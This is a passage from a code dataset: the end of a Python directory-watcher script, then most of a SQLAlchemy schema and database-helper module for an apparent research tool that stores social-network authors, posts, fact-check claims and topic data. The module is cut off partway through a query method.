PATH_INFO_PROVIDER(DIRECTORY_NAME)\n\n\nif DIR_INFO.ISDIR() == True:\n if(args.s):\n print(\"Binding Server...\")\n Watcher(DIR_INFO.DIRNAME(), True).run()\n else:\n Watcher(DIR_INFO.DIRNAME(), False).run()\nelse:\n print('Defined directory', DIRECTORY_NAME, \"does not exist.\")","sub_path":"observe.py","file_name":"observe.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"24271459","text":"# Created by aviade\n# Time: 31/03/2016 09:15\n\nimport logging\nimport os\nimport platform\n\nimport sqlalchemy\nfrom configuration.config_class import getConfig\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.orm import aliased\nfrom sqlalchemy import event\nfrom sqlalchemy.sql.operators import ColumnOperators\nfrom sqlalchemy import Column, func, and_, or_, not_\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Boolean, Integer, Unicode, FLOAT\nfrom sqlalchemy.sql.schema import ForeignKey\nfrom sqlalchemy.sql.expression import *\nfrom sqlalchemy.sql import text\nfrom datetime import datetime, timedelta\nfrom commons.commons import *\nfrom commons.consts import DB_Insertion_Type, Author_Type, Author_Connection_Type\nimport re\nimport itertools\nfrom commons.consts import Domains, Social_Networks\nimport pandas as pd\nimport csv\nfrom collections import defaultdict\nfrom sqlalchemy.inspection import inspect\nfrom sqlalchemy.orm import mapper\nfrom itertools import chain\n\nBase = declarative_base()\n\nconfigInst = getConfig()\n\ndialect_name = getConfig().get(\"DB\", \"dialect_name\")\n\nexec('import ' + dialect_name)\n\nexec('from ' + dialect_name + ' import DATETIME')\n\ndt = eval(dialect_name).DATETIME(\n storage_format=\"%(year)04d-%(month)02d-%(day)02d %(hour)02d:%(minute)02d:%(second)02d\",\n regexp=r\"(\\d{4})-(\\d{2})-(\\d{2}) (\\d{2}):(\\d{2}):(\\d{2})\",\n)\n\ndomain = getConfig().get(\"DEFAULT\", \"domain\")\n\n\nclass Author(Base):\n __tablename__ = 'authors'\n\n name = Column(Unicode, primary_key=True)\n domain = Column(Unicode, primary_key=True)\n author_guid = Column(Unicode, primary_key=True)\n\n author_screen_name = Column(Unicode, default=None)\n author_full_name = Column(Unicode, default=None)\n author_osn_id = Column(Unicode, default=None)\n description = Column(Unicode, default=None)\n created_at = Column(Unicode, default=None)\n statuses_count = Column(Integer, default=None)\n followers_count = Column(Integer, default=None)\n favourites_count = Column(Integer, default=None)\n friends_count = Column(Integer, default=None)\n listed_count = Column(Integer, default=None)\n language = Column(Unicode, default=None)\n profile_background_color = Column(Unicode, default=None)\n profile_background_tile = Column(Unicode, default=None)\n profile_banner_url = Column(Unicode, default=None)\n profile_image_url = Column(Unicode, default=None)\n profile_link_color = Column(Unicode, default=None)\n profile_sidebar_fill_color = Column(Unicode, default=None)\n profile_text_color = Column(Unicode, default=None)\n default_profile = Column(Unicode, default=None)\n contributors_enabled = Column(Unicode, default=None)\n default_profile_image = Column(Unicode, default=None)\n geo_enabled = Column(Unicode, default=None)\n protected = Column(Boolean, default=None)\n location = Column(Unicode, default=None)\n notifications = Column(Unicode, default=None)\n time_zone = Column(Unicode, default=None)\n url = Column(Unicode, default=None)\n utc_offset = Column(Unicode, default=None)\n verified = Column(Unicode, default=None)\n is_suspended_or_not_exists = Column(dt, default=None)\n\n # Tumblr fields\n default_post_format = Column(Unicode, default=None)\n likes_count = Column(Integer, default=None)\n allow_questions = Column(Boolean, default=False)\n allow_anonymous_questions = Column(Boolean, default=False)\n image_size = Column(Integer, default=None)\n\n media_path = Column(Unicode, default=None)\n\n author_type = Column(Unicode, default=None)\n bad_actors_collector_insertion_date = Column(Unicode, default=None)\n xml_importer_insertion_date = Column(Unicode, default=None)\n vico_dump_insertion_date = Column(Unicode, default=None)\n missing_data_complementor_insertion_date = Column(Unicode, default=None)\n bad_actors_markup_insertion_date = Column(Unicode, default=None)\n mark_missing_bad_actor_retweeters_insertion_date = Column(Unicode, default=None)\n author_sub_type = Column(Unicode, default=None)\n timeline_overlap_insertion_date = Column(Unicode, default=None)\n original_tweet_importer_insertion_date = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.name, self.domain, self.author_guid, self.statuses_count)\n\n\nclass PostAuthorsConnections(Base):\n __tablename__ = 'post_authors_connections'\n post_id = Column(Unicode, primary_key=True)\n user_id = Column(Unicode, primary_key=True)\n\nclass AuthorConnection(Base):\n __tablename__ = 'author_connections'\n\n source_author_guid = Column(Unicode, primary_key=True)\n destination_author_guid = Column(Unicode, primary_key=True)\n connection_type = Column(Unicode, primary_key=True)\n weight = Column(FLOAT, default=0.0)\n insertion_date = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (self.source_author_guid, self.destination_author_guid,\n self.connection_type, self.weight, self.insertion_date)\n\n\nclass TempAuthorConnection(Base):\n __tablename__ = 'temp_author_connections'\n\n source_author_osn_id = Column(Unicode, primary_key=True)\n destination_author_osn_id = Column(Unicode, primary_key=True)\n connection_type = Column(Unicode, primary_key=True)\n weight = Column(FLOAT, default=0.0)\n insertion_date = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (self.source_author_osn_id, self.destination_author_osn_id,\n self.connection_type, self.weight, self.insertion_date)\n\n\nclass PostRetweeterConnection(Base):\n __tablename__ = 'post_retweeter_connections'\n\n post_osn_id = Column(Integer, primary_key=True)\n retweeter_twitter_id = Column(Integer, primary_key=True)\n connection_type = Column(Unicode, primary_key=True)\n insertion_date = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.post_osn_id, self.retweeter_twitter_id, self.connection_type)\n\n\nclass PostUserMention(Base):\n __tablename__ = 'post_user_mentions'\n\n post_guid = Column(Integer, primary_key=True)\n user_mention_twitter_id = Column(Integer, primary_key=True)\n user_mention_screen_name = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.post_guid, self.user_mention_twitter_id, self.user_mention_screen_name)\n\n\nclass Post(Base):\n __tablename__ = 'posts'\n\n post_id = Column(Unicode, primary_key=True, index=True)\n author = Column(Unicode, default=None)\n guid = Column(Unicode, default=None)\n title = Column(Unicode, default=None)\n url = Column(Unicode, default=None)\n date = Column(dt, default=None)\n content = Column(Unicode, default=None)\n description = Column(Unicode, default=None)\n is_detailed = Column(Boolean, default=True)\n is_LB = Column(Boolean, default=False)\n is_valid = Column(Boolean, default=True)\n domain = Column(Unicode, primary_key=True, default=None)\n author_guid = Column(Unicode, default=None)\n\n media_path = Column(Unicode, default=None)\n\n # keywords = Column(Unicode, default=None)\n # paragraphs = Column(Unicode, default=None)\n post_osn_guid = Column(Unicode, default=None)\n post_type = Column(Unicode, default=None)\n post_format = Column(Unicode, default=None)\n reblog_key = Column(Unicode, default=None)\n tags = Column(Unicode, default=None)\n is_created_via_bookmarklet = Column(Boolean, default=None)\n is_created_via_mobile = Column(Boolean, default=None)\n source_url = Column(Unicode, default=None)\n source_title = Column(Unicode, default=None)\n is_liked = Column(Boolean, default=None)\n post_state = Column(Unicode, default=None)\n\n post_osn_id = Column(Integer, default=None)\n retweet_count = Column(Integer, default=None)\n favorite_count = Column(Integer, default=None)\n # reply_count = Column(Integer, default=None)\n # language = Column(Unicode, default=None)\n created_at = Column(Unicode, default=None)\n xml_importer_insertion_date = Column(Unicode, default=None)\n timeline_importer_insertion_date = Column(Unicode, default=None)\n original_tweet_importer_insertion_date = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.post_id, self.guid, self.title, self.url, self.date, self.content, self.author, self.is_detailed,\n self.is_LB, self.domain, self.author_guid)\n\n\nclass Post_citation(Base):\n __tablename__ = 'post_citations'\n\n post_id_from = Column(Unicode, ForeignKey('posts.post_id', ondelete=\"CASCADE\"), primary_key=True)\n post_id_to = Column(Unicode, ForeignKey('posts.post_id', ondelete=\"CASCADE\"), primary_key=True)\n url_from = Column(Unicode, index=True) # need to be deleted do not use it\n url_to = Column(Unicode, index=True) # need to be deleted do not use it\n\n def __repr__(self):\n return \"\" % (\n self.post_id_from, self.post_id_to, self.url_from, self.url_to)\n\n\nclass Target_Article(Base):\n __tablename__ = 'target_articles'\n\n post_id = Column(Unicode, ForeignKey('posts.post_id', ondelete=\"CASCADE\"), primary_key=True)\n author_guid = Column(Unicode, ForeignKey('posts.author_guid', ondelete=\"CASCADE\"), primary_key=True)\n title = Column(Unicode, default=None)\n description = Column(Unicode, default=None)\n keywords = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.post_id, self.author_guid, self.title, self.description, self.keywords)\n\n\n# could be a 'paragraph' or caption\nclass Target_Article_Item(Base):\n __tablename__ = 'target_article_items'\n\n post_id = Column(Unicode, ForeignKey('posts.post_id', ondelete=\"CASCADE\"), primary_key=True)\n author_guid = Column(Unicode, ForeignKey('posts.author_guid', ondelete=\"CASCADE\"), primary_key=True)\n type = Column(Unicode, default=None, primary_key=True)\n item_number = Column(Integer, default=None, primary_key=True)\n content = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.post_id, self._author_guid, self.type, self.item_number, self.content)\n\n\nclass Text_From_Image(Base):\n __tablename__ = 'image_hidden_texts'\n\n post_id = Column(Unicode, ForeignKey('posts.post_id', ondelete=\"CASCADE\"), primary_key=True)\n author_guid = Column(Unicode, ForeignKey('posts.author_guid', ondelete=\"CASCADE\"), primary_key=True)\n media_path = Column(Unicode, default=None)\n content = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.post_id, self.author_guid, self.media_path, self.content)\n\n\nclass Image_Tags(Base):\n __tablename__ = 'image_tags'\n\n post_id = Column(Unicode, ForeignKey('posts.post_id', ondelete=\"CASCADE\"), primary_key=True)\n author_guid = Column(Unicode, ForeignKey('posts.author_guid', ondelete=\"CASCADE\"), primary_key=True)\n media_path = Column(Unicode, default=None)\n tags = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.post_id, self.author_guid, self.media_path, self.tags)\n\n\nclass AuthorCitation(Base):\n __tablename__ = 'author_citations'\n # author_id_from = Column(Integer,ForeignKey(\"authors.author_id\",ondelete=\"CASCADE\"),primary_key=True)\n # author_id_from = Column(Integer,primary_key=True)\n from_author = Column(Unicode, primary_key=True)\n from_domain = Column(Unicode, primary_key=True)\n # author_id_to = Column(Integer,ForeignKey(\"authors.author_id\",ondelete=\"CASCADE\"),primary_key=True)\n # author_id_to = Column(Integer,primary_key=True)\n to_author = Column(Unicode, primary_key=True)\n to_domain = Column(Unicode, primary_key=True)\n window_start = Column(dt, primary_key=True)\n window_end = Column(dt, primary_key=True, default=None)\n number_of_citations = Column(Integer, default=None)\n from_author_guid = Column(Integer, ForeignKey(\"authors.author_guid\", ondelete=\"CASCADE\"))\n to_author_guid = Column(Integer, ForeignKey(\"authors.author_guid\", ondelete=\"CASCADE\"))\n\n def __repr__(self):\n return \"\" % (\n self.window_start, self.from_author, self.from_domain, self.to_author, self.to_domain,\n self.number_of_citations,\n self.from_author_guid, self.to_author_guid)\n\n\nclass AuthorFeatures(Base):\n __tablename__ = 'author_features'\n author_guid = Column(Unicode, primary_key=True)\n window_start = Column(dt, primary_key=True)\n window_end = Column(dt, primary_key=True)\n attribute_name = Column(Unicode, primary_key=True)\n attribute_value = Column(Unicode)\n\n def __repr__(self):\n return \" \" % (\n self.author_guid, self.window_start, self.window_end, self.attribute_name, self.attribute_value)\n\n def __init__(self, _author_guid=None, _window_start=None, _window_end=None, _attribute_name=None,\n _attribute_value=None):\n self.author_guid = _author_guid\n self.window_start = _window_start\n self.window_end = _window_end\n self.attribute_name = _attribute_name\n self.attribute_value = _attribute_value\n\n\nclass Author_boost_stats(Base):\n __tablename__ = 'authors_boost_stats'\n\n window_start = Column(dt, default=None, primary_key=True)\n window_end = Column(dt, default=None)\n # author_id = Column(Integer,ForeignKey(\"authors.author_id\"),primary_key=True)\n # author_id = Column(Integer,default=None) #@todo: remove field. use name and domain. reinsert author_id appropriately.\n author_name = Column(Integer, default=None, primary_key=True)\n author_domain = Column(Integer, default=None, primary_key=True) # @todo: add domain values\n boosting_timeslots_participation_count = Column(Integer, default=None)\n count_of_authors_sharing_boosted_posts = Column(Integer, default=None)\n num_of_pointers = Column(Integer, default=None)\n num_of_pointed_posts = Column(Integer, default=None)\n pointers_scores = Column(Unicode, default=None)\n scores_sum = Column(FLOAT, default=None)\n scores_avg = Column(FLOAT, default=None)\n scores_std = Column(FLOAT, default=None)\n author_guid = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.window_start, self.window_end, self.boosting_timeslots_participation_count,\n self.count_of_authors_sharing_boosted_posts, self.num_of_pointers, self.num_of_pointed_posts,\n self.pointers_scores, self.scores_sum, self.scores_avg, self.scores_std, self.author_guid)\n\n\nclass Post_to_pointers_scores(Base):\n __tablename__ = 'posts_to_pointers_scores'\n post_id_to = Column(Integer, ForeignKey(\"post_citations.post_id_to\"), primary_key=True)\n window_start = Column(dt, primary_key=True)\n window_end = Column(dt, default=None)\n url_to = Column(Unicode, default=None)\n # author_id_from = Column(Integer,ForeignKey(\"authors.author_id\"),primary_key=True)\n # author_id_from = Column(Integer,default=None)#@todo: remove field. use name and domain. reinsert author_id appropriately.\n author_name = Column(Integer, default=None, primary_key=True)\n author_domain = Column(Integer, default=None, primary_key=True) # @todo: add domain values\n datetime = Column(Unicode, primary_key=True)\n pointer_score = Column(FLOAT, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.post_id_to, self.window_start, self.window_end, self.url_to, self.author_id_from, self.dt,\n self.pointer_score)\n\n\nclass Posts_representativeness(Base):\n __tablename__ = 'posts_representativeness'\n\n post_id = Column(Unicode, ForeignKey(\"posts.post_id\"), primary_key=True)\n topic_id = Column(Integer, primary_key=True)\n url = Column(Unicode, default=None)\n how_many_times_cited_in_topic = Column(Integer, default=None)\n in_how_many_topics = Column(Integer, default=None)\n post_count = Column(Integer, default=None)\n tfidf = Column(FLOAT, default=None)\n tof = Column(Integer, default=None)\n\n def __repr__(self):\n return \"\" % \\\n (self.post_id, self.topic_id, self.url, self.how_many_times_cited_in_topic, self.in_how_many_topics,\n self.post_count, self.tfidf, self.tof)\n\n\nclass AnchorAuthor(Base):\n __tablename__ = 'anchor_authors'\n\n author_guid = Column(Unicode, ForeignKey(\"authors.author_guid\"), primary_key=True)\n author_type = Column(Unicode, default=None)\n\n def __init__(self, _author_guid, _author_type):\n self.author_guid = _author_guid\n self.author_type = _author_type\n\n def __repr__(self):\n return \"\" % \\\n (self.author_guid, self.author_type)\n\n\nclass RandomAuthorForGraph(Base):\n __tablename__ = 'random_authors_for_graphs'\n\n author_guid = Column(Unicode, ForeignKey(\"authors.author_guid\"), primary_key=True)\n author_type = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % \\\n (self.author_guid, self.author_type)\n\n\nclass SinglePostByAuthor(Base):\n __tablename__ = 'single_post_by_author'\n\n post_id = Column(Unicode, primary_key=True)\n author_guid = Column(Unicode, primary_key=True)\n date = Column(dt)\n content = Column(Unicode)\n domain = Column(Unicode)\n\n def __repr__(self):\n return \"\" % \\\n (self.post_id, self.author_guid, self.date, self.content, self.domain)\n\n\nclass Struct:\n def __init__(self, **entries): self.__dict__.update(entries)\n\n\nclass Post_to_topic(Base):\n __tablename__ = \"posts_to_topic\"\n\n topic_id = Column(Integer, ForeignKey(\"topics.topic_id\"), primary_key=True)\n window_start = Column(dt, default=None, primary_key=True)\n window_end = Column(dt, default=None)\n post_id = Column(Integer, ForeignKey(\"posts.post_id\"), primary_key=True)\n guid = Column(Unicode, default=None)\n url = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.topic_id, self.window_start, self.window_end, self.post_id, self.guid, self.url)\n\n\nclass PostTopicMapping(Base):\n __tablename__ = \"post_topic_mapping\"\n\n post_id = Column(Unicode, ForeignKey(\"posts.post_id\"), primary_key=True)\n max_topic_dist = Column(FLOAT, default=None)\n max_topic_id = Column(Integer, default=None)\n\n\nclass Term(Base):\n __tablename__ = \"terms\"\n\n term_id = Column(Integer, primary_key=True)\n description = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.term_id, self.description)\n\n\nclass Topic(Base):\n __tablename__ = \"topics\"\n\n topic_id = Column(Integer, primary_key=True)\n description = Column(Unicode, default=None)\n term_id = Column(Integer, ForeignKey(\"terms.term_id\"), primary_key=True)\n probability = Column(FLOAT, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.topic_id, self.description, self.term_id, self.probability)\n\n\nclass Politifact_Liar_Dataset(Base):\n __tablename__ = \"politifact_liar_dataset\"\n\n post_guid = Column(Unicode, ForeignKey(\"posts.guid\"), primary_key=True)\n original_id = Column(Integer, default=None)\n statement = Column(Unicode, default=None)\n targeted_label = Column(Unicode, default=None)\n dataset_affiliation = Column(Unicode, default=None)\n subject = Column(Unicode, default=None)\n speaker = Column(Unicode, default=None)\n speaker_job_title = Column(Unicode, default=None)\n state_info = Column(Unicode, default=None)\n party_affiliation = Column(Unicode, default=None)\n barely_true_count = Column(Integer, default=None)\n false_count = Column(Integer, default=None)\n half_true_count = Column(Integer, default=None)\n mostly_true_count = Column(Integer, default=None)\n pants_on_fire_count = Column(Integer, default=None)\n context = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.post_guid, self.original_id, self.statement, self.targeted_label)\n\n\nclass Claim_Tweet_Connection(Base):\n __tablename__ = \"claim_tweet_connection\"\n\n claim_id = Column(Unicode, primary_key=True) # PolitiFact post\n post_id = Column(Unicode, primary_key=True) # crawled tweet by\n\n\nclass Claim(Base):\n __tablename__ = \"claims\"\n\n claim_id = Column(Unicode, primary_key=True, index=True)\n title = Column(Unicode, default=None)\n description = Column(Unicode, default=None)\n url = Column(Unicode, default=None)\n verdict_date = Column(dt, default=None)\n keywords = Column(Unicode, default=None)\n domain = Column(Unicode, default=None)\n verdict = Column(Unicode, default=None)\n category = Column(Unicode, default=None)\n sub_category = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.claim_id, self.title, self.description, self.url, self.verdict_date, self.keywords, self.domain,\n self.verdict)\n\n\nclass Claim_Keywords_Connections(Base):\n __tablename__ = \"claim_keywords_connections\"\n claim_id = Column(Unicode, primary_key=True, index=True)\n type = Column(Unicode, primary_key=True, index=True)\n keywords = Column(Unicode, default=None)\n score = Column(FLOAT, default=None)\n tweet_count = Column(Integer, default=None)\n\n\nclass RedditPostCommentConnection(Base):\n __tablename__ = \"reddit_post_comment_connection\"\n post_id = Column(Unicode, primary_key=True, index=True)\n comment_id = Column(Unicode, primary_key=True, index=True)\n\n\nclass RedditPost(Base):\n __tablename__ = 'reddit_posts'\n post_id = Column(Unicode, primary_key=True, index=True)\n guid = Column(Unicode, default=None)\n link_in_body = Column(Unicode, default=None)\n ups = Column(Integer, default=0)\n downs = Column(Integer, default=0)\n score = Column(Integer, default=0)\n upvote_ratio = Column(Integer, default=0)\n number_of_comments = Column(Integer, default=None)\n parent_id = Column(Unicode, default=None)\n stickied = Column(Boolean, default=False)\n is_submitter = Column(Boolean, default=False)\n distinguished = Column(Unicode, default=None)\n\n\nclass RedditAuthor(Base):\n __tablename__ = 'reddit_authors'\n\n name = Column(Unicode, primary_key=True)\n author_guid = Column(Unicode, primary_key=True)\n comments_count = Column(Integer, default=0)\n comment_karma = Column(Integer, default=0)\n link_karma = Column(Integer, default=0)\n is_gold = Column(Boolean, default=False)\n is_moderator = Column(Boolean, default=False)\n is_employee = Column(Boolean, default=False)\n\n\nclass InstagramPost(Base):\n __tablename__ = 'instagram_posts'\n id = Column(Unicode, primary_key=True)\n display_url = Column(Unicode, default=None)\n comments_disabled = Column(Boolean, default=None)\n likes = Column(Integer, default=None)\n # body = Column(Unicode, default=None)\n comment_count = Column(Integer, default=None)\n is_video = Column(Boolean, default=None)\n # owner_id = Column(Unicode, default=None)\n shortcode = Column(Unicode, default=None)\n # taken_at_timestamp = Column(Integer, default=None)\n thumbnail_resources = Column(Unicode, default=None)\n media_preview = Column(Unicode, default=None)\n gating_info = Column(Unicode, default=None)\n dimensions = Column(Unicode, default=None)\n instagram_typename = Column(Unicode, default=None)\n hashtag = Column(Unicode, default=None)\n\n\nclass InstagramAuthor(Base):\n __tablename__ = 'instagram_authors'\n id = Column(Unicode, primary_key=True)\n # username = Column(Unicode, default=None)\n # full_name = Column(Unicode, default=None)\n # biography = Column(Unicode, default=None)\n followers_count = Column(Integer, default=None)\n following_count = Column(Integer, default=None)\n posts_count = Column(Integer, default=None)\n is_business_account = Column(Boolean, default=None)\n is_joined_recently = Column(Boolean, default=None)\n is_private = Column(Boolean, default=None)\n # profile_pic_url = Column(Unicode, default=None)\n\n\nclass GooglePostKeywords(Base):\n __tablename__ = 'google_post_keywords'\n\n post_id = Column(Integer, primary_key=True)\n keywords = Column(Unicode, primary_key=True)\n insertion_date = Column(Unicode, default=None)\n\n\nclass NewsArticle(Base):\n __tablename__ = 'news_articles'\n\n article_id = Column(Unicode, ForeignKey('claims.claim_id', ondelete=\"CASCADE\"), primary_key=True)\n author = Column(Unicode, default=None)\n published_date = Column(dt, default=None)\n domain = Column(Unicode, default=None)\n url = Column(Unicode, default=None)\n title = Column(Unicode, default=None)\n description = Column(Unicode, default=None)\n content = Column(Unicode, default=None)\n url_to_image = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.post_id, self.author_guid, self.author, self.published_date, self.url, self.title, self.description,\n self.keywords)\n\n\nclass News_Article_Item(Base):\n __tablename__ = 'news_article_items'\n\n post_id = Column(Unicode, ForeignKey('posts.post_id', ondelete=\"CASCADE\"), primary_key=True)\n author_guid = Column(Unicode, ForeignKey('posts.author_guid', ondelete=\"CASCADE\"), primary_key=True)\n source_newsapi_internal_id = Column(Unicode, default=None)\n source_newsapi_internal_name = Column(Unicode, default=None)\n content = Column(Unicode, default=None)\n img_url = Column(Unicode, default=None)\n\n def __repr__(self):\n return \"\" % (\n self.post_id, self._author_guid, self.source_newsapi_internal_id, self.source_newsapi_internal_name,\n self.content, self.img_url)\n\n\nclass DB():\n '''\n Represents the primary blackboard of the system.\n The module must be the first one to setUp.\n '''\n\n def __init__(self):\n pass\n\n def setUp(self):\n configInst = getConfig()\n self._date = getConfig().eval(self.__class__.__name__, \"start_date\")\n self._pathToEngine = configInst.get(self.__class__.__name__, \"DB_path\") + \\\n configInst.get(self.__class__.__name__, \"DB_name_prefix\") + \\\n configInst.get(\"DEFAULT\", \"social_network_name\") + \\\n configInst.get(self.__class__.__name__, \"DB_name_suffix\")\n\n start_date = configInst.get(\"DEFAULT\", \"start_date\").strip(\"date('')\")\n self._window_start = datetime.datetime.strptime(start_date, '%Y-%m-%d %H:%M:%S')\n self._window_size = datetime.timedelta(\n seconds=int(configInst.get(\"DEFAULT\", \"window_analyze_size_in_sec\")))\n self._window_end = self._window_start + self._window_size\n\n if configInst.eval(self.__class__.__name__, \"remove_on_setup\"):\n self.deleteDB()\n\n self.engine = create_engine(\"sqlite:///\" + self._pathToEngine, echo=False)\n self.Session = sessionmaker()\n self.Session.configure(bind=self.engine)\n\n self.session = self.Session()\n\n self.posts = \"posts\"\n self.authors = \"authors\"\n self.author_features = \"author_features\"\n\n @event.listens_for(self.engine, \"connect\")\n def connect(dbapi_connection, connection_rec):\n dbapi_connection.enable_load_extension(True)\n if (getConfig().eval(\"OperatingSystem\", \"windows\")):\n full_path = os.path.abspath(\"%s%s\") % (configInst.get(\"DB\", \"DB_path_to_extension\"), '.dll')\n dbapi_connection.execute('SELECT load_extension(\"{}\")'.format(full_path).replace('\\\\', '/'))\n if (getConfig().eval(\"OperatingSystem\", \"linux\")):\n dbapi_connection.execute(\n 'SELECT load_extension(\"%s%s\")' % (configInst.get(\"DB\", \"DB_path_to_extension\"), '.so'))\n if (getConfig().eval(\"OperatingSystem\", \"mac\")):\n dbapi_connection.execute(\n 'SELECT load_extension(\"%s%s\")' % (configInst.get(\"DB\", \"DB_path_to_extension\"), '.dylib'))\n\n dbapi_connection.enable_load_extension(False)\n\n if getConfig().eval(self.__class__.__name__, \"dropall_on_setup\"):\n Base.metadata.drop_all(self.engine)\n\n Base.metadata.create_all(self.engine)\n pass\n\n def tearDown(self):\n if getConfig().eval(self.__class__.__name__, \"dropall_on_teardown\"):\n if (os.path.exists(self._pathToEngine)):\n Base.metadata.drop_all(self.engine)\n\n if getConfig().eval(self.__class__.__name__, \"remove_on_teardown\"):\n self.deleteDB()\n\n if getConfig().eval(self.__class__.__name__, \"vacuum_db\"):\n self.vacuum_db()\n\n def vacuum_db(self):\n query = text(\"VACUUM;\")\n self.session.execute(query)\n\n def execute(self, window_start):\n pass\n\n def cleanUp(self, window_start):\n pass\n\n def canProceedNext(self, window_start):\n return True\n\n def is_well_defined(self):\n return True\n\n ##########################################################\n # miscellaneous\n def deleteDB(self):\n if (os.path.exists(self._pathToEngine)):\n try:\n os.remove(self._pathToEngine)\n except:\n logging.exception(\"Data Base %s remove failed\" % self._pathToEngine)\n\n def commit(self):\n self.session.commit()\n\n def is_post_topic_mapping_table_exist(self):\n query = text(\"SELECT name FROM sqlite_master WHERE type='table' AND name='post_topic_mapping'\")\n result = self.session.execute(query)\n cursor = result.cursor\n records = list(cursor.fetchall())\n return len(records) != 0\n\n def is_topics_table_exist(self):\n query = text(\"SELECT name FROM sqlite_master WHERE type='table' AND name='topics'\")\n result = self.session.execute(query)\n cursor = result.cursor\n records = list(cursor.fetchall())\n return len(records) != 0\n\n def is_table_exist(self, table_name):\n q = \"SELECT name FROM sqlite_master WHERE type='table' AND name=\" + \"\\'\" + table_name + \"\\'\"\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n records = list(cursor.fetchall())\n return len(records) != 0\n\n def get_key_posts(self):\n query = text(\"SELECT post_id FROM export_key_posts\")\n result = self.session.execute(query)\n cursor = result.cursor\n records = list(cursor.fetchall())\n return [rec[0] for rec in records]\n\n def delete_post_representativeness_data(self):\n query = text(\"DELETE FROM posts_representativeness;\")\n self.session.execute(query)\n\n def get_retweets_with_no_tweet_citation(self):\n '''\n :return: a list of post_ids and urls of retweets whose connection doesn't contain any reference to twitter\n '''\n query = text(\"select posts.post_id as post_id_from, posts.url as url_from \" \\\n \"from posts \" \\\n \"where posts.content like \\'%RT @%\\' \" \\\n \"Except \"\n \"select post_citations.post_id_from, post_citations.url_from from post_citations where post_citations.url_to like \\'%twitter.com%\\'\")\n result = self.session.execute(query)\n cursor = result.cursor\n records = list(cursor.fetchall())\n return {rec[0]: rec[1] for rec in records}\n\n def is_post_citation_exist(self, post_id_from, post_id_to):\n query = text(\n \"select * from post_citations where post_citations.post_id_from = :post_id_from and post_citations.post_id_to = :post_id_to\")\n result = self.session.execute(query, params=dict(post_id_from=post_id_from, post_id_to=post_id_to))\n cursor = result.cursor\n records = list(cursor.fetchall())\n return len(records) > 0\n\n def get_topic_to_author_mapping(self, target_author_field):\n '''\n :return: a mapping of -> -> for each topic\n '''\n ans = {}\n query = text(\"\"\"select max_topic_id, authors.{0}, count(*) as posts_in_topic_count \n from post_topic_mapping , posts , authors \n where post_topic_mapping.post_id = posts.post_id \n and authors.author_guid = posts.author_guid \n group by max_topic_id, author \n order by max_topic_id\"\"\".format(target_author_field))\n result = self.session.execute(query)\n for topic_id, author, posts_in_topic_count in result:\n if not topic_id in ans:\n ans[topic_id] = {}\n ans[topic_id][author] = posts_in_topic_count\n return ans\n\n def get_topics(self):\n query = text(\"select * from topics\")\n result = self.session.execute(query)\n return [r for r in result]\n\n def update_json_post_retweeter(self, id, key, value):\n update_query = \"UPDATE \" + self.post_retweeter_table + \" SET \" + key + \"=\" + str(\n value) + \" WHERE retweeter_id=\" + str(id)\n self.update_query(update_query)\n\n def update_query(self, query):\n self.session.execute(query)\n self.session.commit()\n\n def get_json_post_retweeter(self, post_id, retweeter_id):\n query = \"SELECT * FROM \" + self.post_retweeter_table + \\\n \" WHERE post_id=\" + str(post_id) + \" AND retweeter_id=\" + str(retweeter_id)\n result = self.session.execute(query)\n cursor = result.cursor\n post_retweeter_result = cursor.fetchall()\n\n if len(post_retweeter_result):\n twitter_user = self.create_post_retweeter(post_retweeter_result)\n return twitter_user\n return None\n\n def encode_field_into_utf8(self, text):\n if text is not None:\n return str(text)\n return text\n\n ###########################################################\n # posts\n ###########################################################\n\n def create_object(self, query_result):\n\n object = query_result[0]\n\n '''\n post.post_id = values[0]\n post.author_id = values[1]\n post.post_twitter_id = values[2]\n post.post_vico_guid = values[3]\n post.text = values[4]\n post.title = values[5]\n post.retweet_count = values[6]\n post.favorites_count = values[7]\n post.created_at = values[8]\n post.url = values[9]\n post.is_detailed = values[10]\n post.is_LB = values[11]\n post.domain = values[12]\n '''\n return object\n\n def delete_post(self, post_id):\n # delete_query = \"DELETE FROM \" + self.posts + \" WHERE post_id=\" + str(post_id)\n # self.session.execute(delete_query)\n # self.session.commit()\n\n self.session.query(Post).filter(Post.post_id == post_id).delete()\n self.session.commit()\n\n def get_post_by_id(self, post_id):\n\n query = self.session.query(Post).filter(Post.post_id == post_id)\n posts_result = query.all()\n\n # query = \"SELECT * FROM \" + self.posts + \" WHERE post_id=\" + str(post_id)\n # result = self.session.execute(query)\n # cursor = result.cursor\n # posts_result = cursor.fetchall()\n\n if len(posts_result):\n post = self.create_object(posts_result)\n return post\n return None\n\n def get_posts(self):\n entries = self.session.query(Post).all()\n return entries\n\n def get_posts_without_retweet_connections(self):\n entries = self.session.query(Post).filter(and_(~exists().where(Post.post_id==PostRetweeterConnection.post_osn_id), Post.domain != 'retweet')).all()\n return entries\n\n def get_posts_with_retweet_connections(self):\n entries = self.session.query(Post).filter(\n 